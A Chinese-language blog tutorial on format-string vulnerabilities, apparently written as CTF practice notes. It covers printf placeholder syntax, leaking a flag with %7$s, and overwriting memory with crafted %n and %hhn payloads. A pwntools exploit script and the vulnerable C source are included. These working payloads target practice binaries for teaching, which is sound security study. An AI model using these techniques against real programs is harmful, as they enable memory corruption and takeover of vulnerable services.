Format String

基础知识

格式化占位符

语法:%[parameter][flags][field width][.precision][length]type

parameter

n$ : 显示第n个参数。注意:有一个占位符使用了parameter,其他的占位符也必须使用。

Flags

(可为零个或者多个)
+ : 表示有符号数值的符号。
空格 : 使得有符号数的输出如果没有正负号或者输出0个字符,则前缀1个空格。如果空格与'+'同时出现,则空格说明符被忽略。(存在‘+’,‘空格’被忽略
- : 左对齐,省略则右对齐。
# : 对于'g'与'G',不删除尾部0以表示精度。对于'f', 'F', 'e', 'E', 'g', 'G', 总是输出小数点。对于'o', 'x', 'X', 在非0数值前分别输出前缀00x, and 0X表示数制。
0 : width前缀以0,则左侧用0填充。

Field Width

显示数值的最小宽度,常用于制表。

.Precision

显示的最大长度。对于浮点数,表示小数点后几位。对于字符串,指输出的字符数上限,超出部分截断。对于整型,不足左侧补0,超出不截断,省缺值为1。

Lenth

hh : char
h : short
l : long / double
ll : long long
L : lon double
z : size_t=unsigned long ong
j : intmax_t
t : ptrdiff_t

Type

d/i : int
u : unsiged int
x/X : 16
o : 8
s : 字符串(把对应参数当作地址解析,如果变量不呢个被解析为字符串地址,程序会崩溃)
n : 不输出字符串,但是把已经输出的字符串写入对应的制衡所指变量
p : 指针

简单利用

格式字符串可以被连续的%s崩溃程序,可以用连续的%p获取栈上的地址,这些用法并没有太多技术含量,就不过多介绍,可以问问AI,它可以讲的很清楚。

Baby

第六届信安大挑战 - Dino::CTF

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to BabyFMT pwn challenge!");
  puts("Please tell me you name:");
  read(0, buf, 0x40uLL);
  puts("OK! I will open the flag for you: ");
  open("flag", 0);
  read(3, &flag, 0x50uLL);
  puts("But I don't show it to you!");
  printf(buf);
  puts("Goodbye!");
  return 0;
}

在这道题里面,程序打开了flag并丢到了栈里,但是没有直接给你,并看见有一个字符串格式化漏洞,可以直接利用。

pwndbg> stack
00:0000│ rsp 0x7fffffffda70 —▸ 0x555555554040 ◂— 0x400000006
01:0008│-058 0x7fffffffda78 —▸ 0x555555558060 (flag) ◂— 'flag{1234555556779990}'
02:0010│-050 0x7fffffffda80 ◂— 0x60a
03:0018│-048 0x7fffffffda88 —▸ 0x7fffffffded9 ◂— 0x8b0710ab2b909dfb
04:0020│-040 0x7fffffffda90 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
05:0028│-038 0x7fffffffda98 ◂— 0x10101000000
06:0030│-030 0x7fffffffdaa0 ◂— 2
07:0038│-028 0x7fffffffdaa8 ◂— 0x1f8bfbff

看见再open后,flag的地址被放在了第二个位置,加上64位系统前6个参数是寄存器,所以这里是第8个参数。可以直接%7$s出来。

$ ./pwn
Welcome to BabyFMT pwn challenge!
Please tell me you name:
%7$s
OK! I will open the flag for you: 
But I don't show it to you!
flag{1234555556779990}
Goodbye!

做题直接nc就好啦~(这里简单介绍一下,也可以%7$p直接得到flag的地址,你可以再其他地方用这个方法得到存在栈上的地址,比如返回地址。)

Easy

这里介绍%n的几种简单用法。

printf("abcd,123%1$s%2$n","helloctf",&buf);

上面的函数会输出abcd,123helloctf共16个字符,然后把buf的地址内写入16。(剩下的用真实案例讲吧~)

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-74h] BYREF
  char format[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = 789;
  printf("%p\n", &v4);
  __isoc99_scanf("%s", format);
  printf(format);
  if ( v4 == 16 )
  {
    puts("modified c.");
  }
  else if ( a == 2 )
  {
    puts("modified a for a small number.");
  }
  else if ( b == 305419896 )
  {
    puts("modified b for a big number!");
  }
  return 0;
}
$ checksec ./fmt
[*] '/home/tracs/PWN/dino_pwn/bodyfmt/fmt_big%n/fmt'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

题目基本信息如上,没有开pie,栈的地址也白给了。简单的代码逻辑,只是用来练手的,这里直接讲怎么构造payload。

覆盖栈上的数据

$ ./fmt
0x7ffdf40d1c5c
aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
aaaa.a.0.9c01aaa0.0.2b3086b0.d.1.61616161.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.1000000.2

可以用上面的发放简单定位栈上的变量是程序的第几个参数,可以可以看见是第9个参数,所以当我%8$的时候会选中我输入的内容。

c_addr =  int(io.recvuntil(b'\n').strip(), 16)
payload=p64(c_addr)+b'a'*8+b'%8$n'

你可以很简答的想到上面的写法,但很可惜这不行,因为c_adr的高位会是\x00printf读不到后面%n的格式化字符串。所以我们需要让地址在%n的后面。

payload=b'%16c'
payload+=b'%10$n'
payload+=b'a'*7
payload+=p64(c_addr)

这时候,%16c%10$会是第9个参数,naaaaaaa是第10个参数,地址是11个参数,所以构造如上payload。

覆盖较小数字

这道题目原来是32位的题目,32位环境下把地址放在最前面是可行的,而在那种情况下,在printf遇到%n之前就已经至少输出4字节(32位地址),没办法覆盖2这样较为小的数字,所以介绍了把地址放后面的方法,前面介绍过了,就不重复说明。

data:0000000000404048                 public a
.data:0000000000404048 a               dd 7Bh                  ; DATA XREF: main:loc_401218↑r
.data:000000000040404C                 public b
.data:000000000040404C b               dd 1C8h                 ; DATA XREF: main:loc_401234↑r
payload=b'aa'
payload+=b'%9$nxx'
payload+=p64(0x404048)

因为关了pie,所以可以直接得到a和b的地址。payload如上。

覆盖较大数字

看到要输出modified b for a big number!需要把b存的值改为0x12345678,这样一个比较大的数字。因为输出的数字很大,一般不会成功,就算成功也会需要等待很久。这时候就可以利用将Lenth位设置成hh进行单字节的写入。

data:0000000000404048 a               dd 7Bh                  ; DATA XREF: main:loc_401218↑r
.data:000000000040404C                 public b
.data:000000000040404C b               dd 1C8h                 ; DATA XREF: main:loc_401234↑r
.data:000000000040404C _data           ends
.data:000000000040404C
.bss:0000000000404050 ; ===========================================================================

在ida内可以看见b是一个占了四字节的int型,这样我们覆盖4此就好啦。

b_addr=0x40404c

payload=b'%18c%14$hhn'
payload+=b'%34c%15$hhn'
payload+=b'%34c%16$hhn'
payload+=b'%34c%17$hhn'
payload+=b'a'*4
payload+=p64(b_addr+3)+p64(b_addr+2)+p64(b_addr+1)+p64(b_addr)

我们可以构造出这样的payload,因为是小端序,数据从高位向地位存储,所以我需要在0x40404f覆盖0x12,在0x0404e写入0x34,以此类推。
然后只有%18c``%34c会输出18=0x12、34=0x22个字符,依次%n的数值就会是累计的0x12、0x34......个字符。
最后payload的内容会被依次写入栈内,%18c%14$会是第9个参数,依次往后数,到地址的时候会是第15、16......个参数,%n依次取第14、15个参数就好了。
这样你就分4次写入了0x12345678这样比较大的数字。

from pwn import *

context(arch='amd64',os='linux')
# context.log_level='debug'

pwn='./fmt'
elf=ELF(pwn)
libc=elf.libc

remote_f=0

if remote_f:
    io=remote('123',456)
else:
    io=process(pwn)

if __name__ == '__main__':

    c_addr =  int(io.recvuntil(b'\n').strip(), 16)
    print("c的地址是:",hex(c_addr))

    # 11111111111111111111111111111111111
    # payload=b'%16c'
    # payload+=b'%10$n'
    # payload+=b'a'*7
    # payload+=p64(c_addr)

    # offset=8
    # payload = fmtstr_payload(offset, {c_addr: 16}, write_size='byte')

    # 22222222222222222222222222222222222
    # payload=b'aa'
    # payload+=b'%9$nxx'
    # payload+=p64(0x404048)

    # offset=8
    # payload = fmtstr_payload(offset, {0x404048: 2}, write_size='byte')

    # 33333333333333333333333333333333333
    # b_addr=0x40404c
    
    # payload=b'%18c%14$hhn'
    # payload+=b'%34c%15$hhn'
    # payload+=b'%34c%16$hhn'
    # payload+=b'%34c%17$hhn'
    # payload+=b'a'*4
    # payload+=p64(b_addr+3)+p64(b_addr+2)+p64(b_addr+1)+p64(b_addr)

    # offset=8
    # aim=0x12345678
    # payload = fmtstr_payload(offset, {b_addr: aim}, write_size='byte')

    print("fmt_str:",payload)
    
    # gdb.attach(io)
    # pause()

    io.sendline(payload)

    io.interactive()

最后总结的exp如上,欸你会发现,有一个奇怪的东西叫做`fmtstr_payload`,噢原来是pwntools的工具啊所以你刚刚白学了:(

#include <stdio.h>

int a = 123, b = 456;

int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
} 

题目源码如上;

$ gcc text.c -o fmt -no-pie
text.c: In function ‘main’:
text.c:10:10: warning: format not a string literal and no format arguments [-Wformat-security]
   10 |   printf(s);
      |          ^

关了pie后编译的。

EZ

posted @ 2025-12-21 23:51  Tracs  阅读(9)  评论(0)    收藏  举报